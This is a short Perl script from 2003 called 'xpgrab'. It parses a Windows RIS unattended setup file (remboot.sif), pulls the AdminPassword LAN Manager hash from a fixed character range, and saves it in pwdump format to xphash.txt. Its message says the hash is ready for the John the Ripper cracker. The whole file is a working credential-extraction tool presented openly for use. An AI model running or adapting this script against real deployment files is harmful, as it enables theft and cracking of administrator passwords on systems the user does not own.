#!/usr/bin/perl
# Script Name:xpgrab
# Script Version: 0.01
# Date: 02/27/2003
# Written by: Joseph B. Zekany (aka Zucchini)
# NOTE:
# If you are going to run this program in windoz add a .pl extension.
# For example (xpgrab.pl)
# Revision History:
# 0.01: Original Version
# -----------------------------------------------------------------------------

$file = $ARGV[0];
if ($file) {
	open (FILE, "$file") || die "Could not open $file for reading please check if the file exists:\n $!";
		@info = <FILE>;
	close (FILE);
for ($i = 0; $i < @info; $i++) {
	if ($info[$i] =~ /\bAdminPassword/) {
		@xphash = split("", $info[$i]);
		@xphash1 = @xphash[18 .. 49];
		@xphash2 = @xphash[50 .. 83];
		$xphash1 = join("", @xphash1);
		$xphash2 = join("", @xphash2);
		$xphash = "Administrator: 500:$xphash1:$xphash2\:::";
		
		open (HASH, "> xphash.txt") || die "Could not open file for writiing: $!";
			print HASH $xphash;
		close (HASH);

		print "\n\nThe Lan Manager hash has been recovered, and is now\n";
		print "stored in a file named xphash.txt in the local directory.\n";
		print "It is now ready to be sent to John ";
		print "for further processing.;^)\n\n";

	}
  }
}
else {
	print "Written by:\n\t\tJoseph B. Zekany\n";
	print "Date:\n\t\t02/27/2003\n";
	print "Usage:\n\t\txpgrab <remboot.sif>\n\n";
}